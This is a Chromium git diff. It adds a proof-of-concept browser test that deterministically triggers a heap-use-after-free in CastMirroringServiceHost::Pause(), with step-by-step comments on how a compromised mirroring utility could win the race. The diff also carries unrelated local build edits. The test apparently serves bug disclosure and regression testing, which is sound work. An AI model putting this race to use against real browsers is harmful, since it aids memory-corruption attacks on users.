diff --git a/build/vs_toolchain.py b/build/vs_toolchain.py index 88489da743f6d..ef2ec5e69b41c 100755 --- a/build/vs_toolchain.py +++ b/build/vs_toolchain.py @@ -669,4 +669,5 @@ def main(): if __name__ == '__main__': - sys.exit(main()) + #sys.exit(main()) + pass diff --git a/chrome/browser/media/cast_mirroring_service_host_browsertest.cc b/chrome/browser/media/cast_mirroring_service_host_browsertest.cc index 475d3d594642e..1121ec81bf60c 100644 --- a/chrome/browser/media/cast_mirroring_service_host_browsertest.cc +++ b/chrome/browser/media/cast_mirroring_service_host_browsertest.cc @@ -11,7 +11,12 @@ #include "base/memory/raw_ptr.h" #include "base/run_loop.h" #include "base/strings/string_number_conversions.h" +#include "base/synchronization/waitable_event.h" #include "base/task/bind_post_task.h" +#include "base/test/bind.h" +#include "base/threading/thread_restrictions.h" +#include "content/public/browser/browser_task_traits.h" +#include "content/public/test/test_utils.h" #include "base/test/test_timeouts.h" #include "build/build_config.h" #include "chrome/browser/media/router/discovery/access_code/access_code_cast_feature.h" @@ -294,6 +299,90 @@ class CastMirroringServiceHostBrowserTest std::move(video_capture_host)); } + // --------------------------------------------------------------------------- + // POC: Cross-thread UAF in CastMirroringServiceHost::Pause(). + // + // CastMirroringServiceHost::Pause() runs on the UI thread and dereferences + // `video_capture_host_`, a WeakPtr> whose + // factory was constructed on the IO thread (CreateVideoCaptureHostOnIO). The + // raw `Interface*` returned by SelfOwnedReceiver::impl() is bound (by raw + // pointer) into a task posted to the IO thread. A compromised mirroring + // service utility can close its Remote at any time, which + // causes the SelfOwnedReceiver (and the bound impl) to be deleted on the IO + // thread. If the deletion is processed on IO before the posted + // PauseVideoCaptureHostOnIO task, that task performs a virtual call through a + // freed pointer. + // + // This test deterministically orders the race by blocking the IO thread while + // the UI thread: + // 1. closes the VideoCaptureHost mojo pipe (mojo posts the disconnect + // handler to IO from within Remote::reset()), and then + // 2. calls Pause() (posts PauseVideoCaptureHostOnIO to IO). + // When IO is unblocked, it processes the disconnect first (deleting the + // SingleClientVideoCaptureHost), and then runs PauseVideoCaptureHostOnIO, + // which dereferences the freed pointer. + void TriggerPauseUseAfterFree() { + // Step 1: Simulate the compromised mirroring-service utility calling + // ResourceProvider::GetVideoCaptureHost(). This causes the browser to + // create a SelfOwnedReceiver on the IO thread and store a + // cross-thread WeakPtr to it on the UI thread. + mojo::Remote video_capture_host; + static_cast(host_.get()) + ->GetVideoCaptureHost( + video_capture_host.BindNewPipeAndPassReceiver()); + + // Wait for CreateVideoCaptureHostOnIO (IO) and SetVideoCaptureHost (UI) to + // complete. Intentionally do NOT call Start() on the remote: this keeps the + // SingleClientVideoCaptureHost destructor on the fast path + // (Stop() early-returns when observer_ is unset). + while (!host_->video_capture_host_) { + content::RunAllTasksUntilIdle(); + } + + // Step 2: Block the IO thread so that nothing posted below runs until we + // release it. This makes the race deterministic. + base::WaitableEvent io_blocked; + base::WaitableEvent io_release; + content::GetIOThreadTaskRunner({})->PostTask( + FROM_HERE, base::BindLambdaForTesting([&]() { + base::ScopedAllowBaseSyncPrimitivesForTesting allow; + io_blocked.Signal(); + io_release.Wait(); + })); + { + base::ScopedAllowBaseSyncPrimitivesForTesting allow; + io_blocked.Wait(); + } + + // Step 3: Simulate the compromised utility closing its + // Remote pipe. mojo::SimpleWatcher's trap fires + // synchronously from within MojoClose() (with + // MOJO_TRAP_EVENT_FLAG_WITHIN_API_CALL set) and posts the OnHandleReady -> + // OnDisconnect -> Close() -> `delete this` chain to the IO thread. + video_capture_host.reset(); + + // Step 4: Call Pause() on the UI thread. The IO thread is blocked, so the + // WeakPtr `video_capture_host_` is still valid. Pause() extracts the raw + // SingleClientVideoCaptureHost* via SelfOwnedReceiver::impl() and posts + // PauseVideoCaptureHostOnIO to the IO thread, bound with the raw pointer. + base::RunLoop pause_loop; + host_->Pause(pause_loop.QuitClosure()); + + // Step 5: Unblock IO. IO task queue order is now: + // [block-task tail] -> [pipe-disconnect: delete SelfOwnedReceiver + + // SingleClientVideoCaptureHost] -> [PauseVideoCaptureHostOnIO: virtual + // call host->Pause() on the freed pointer]. + io_release.Signal(); + + // Step 6: Run the loop until PauseVideoCaptureHostOnIO executes (or, under + // ASan, until the heap-use-after-free is reported and the process aborts). + pause_loop.Run(); + + // Clean shutdown if we somehow survived (e.g. non-ASan build with BRP + // quarantine producing a 0xEF vtable crash, or ordering not as expected). + host_.reset(); + } + void StartVideoCapturing() { base::RunLoop run_loop; EXPECT_CALL(*video_frame_receiver_, @@ -458,6 +547,17 @@ IN_PROC_BROWSER_TEST_F(CastMirroringServiceHostBrowserTest, TabIndicator) { StopMirroring(); } +// POC: Demonstrates a heap-use-after-free in PauseVideoCaptureHostOnIO when a +// compromised mirroring-service utility closes its VideoCaptureHost mojo pipe +// concurrently with the user pausing the Cast session. Under ASan this test +// aborts with a heap-use-after-free report in +// SingleClientVideoCaptureHost::Pause(). +IN_PROC_BROWSER_TEST_F(CastMirroringServiceHostBrowserTest, + PauseAfterPipeCloseUAF) { + StartTabMirroring(); + TriggerPauseUseAfterFree(); +} + IN_PROC_BROWSER_TEST_F(CastMirroringServiceHostBrowserTest, PauseSession) { EnableAccessCodeCast(); StartTabMirroring(); diff --git a/third_party/search_engines_data/resources_internal b/third_party/search_engines_data/resources_internal deleted file mode 160000 index d0158bfe38a17..0000000000000 --- a/third_party/search_engines_data/resources_internal +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d0158bfe38a1759ead13e53ed0332aefdb0f512b